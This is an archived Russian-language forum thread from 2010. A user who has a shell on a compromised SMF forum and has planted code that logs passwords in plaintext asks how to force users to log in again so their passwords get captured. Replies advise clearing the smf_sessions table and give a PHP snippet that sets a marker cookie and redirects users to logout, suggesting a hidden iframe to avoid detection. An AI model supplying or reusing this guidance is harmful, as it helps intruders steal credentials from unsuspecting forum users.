PDA

Просмотр полной версии : SMF почистить куки


Kon9ra
01.09.2010, 19:56
Трояню форум, необходимо чтобы у пользователей потерлись куки, как это сделать?

Kusto
01.09.2010, 20:06
Kon9ra said:
Трояню форум, необходимо чтобы у пользователей потерлись куки, как это сделать?


ты изьясняйся пожалуйста ясней- что значит трояню? т е у тебя как минимум залит шелл и ты пытаешся внедрить свой код т е-не потерять доступ к форуму? либо что то не так понял? Т к 5 минут назад было что ты брутиш форум

Kon9ra
01.09.2010, 20:09
Шел есть, сделал код, пасы в чистом виде уходят на файл, но у большинства пользователей автозаход, т.е. куки и пасы они не пишут. Мне же необходимо каким-либо образом обнулить эти куки.

TANZWUT
02.09.2010, 13:23
Там авторизация по сессиям, чисти сесии в БД.

Kon9ra
02.09.2010, 14:03
Прошу объясни как?

TANZWUT
02.09.2010, 15:59
смотри таблицу smf_sessions...

релогин впринципе можно сделать каждому по отдельности.. к примеру при наличии левой куки не разлогинивать юзеров, а без ниё на релогин, чтото типа (накатал от балды):

if (isset($_COOKIE["smflogout"]))

{

...

}

else

{

setcookie("smflogout", 0, time()+(60*60*24*365)); //ставим левую печеньку

header ("Location: http://site.com/forum/index.php?action=logout;'.$context['session_var'].'='.$context['session_id']."); //и разлогиниваем юзера..

}

либо скрытым ифреймом выводи для безпалевности, вобщем смотри про SSI.php и ssi_logout()

Kon9ra
02.09.2010, 20:37
не могу найти файл сессий,=\

Chi
03.09.2010, 13:20
Kon9ra said:
не могу найти файл сессий,=\


Тебе же ясно сказали чистить сессии в БД...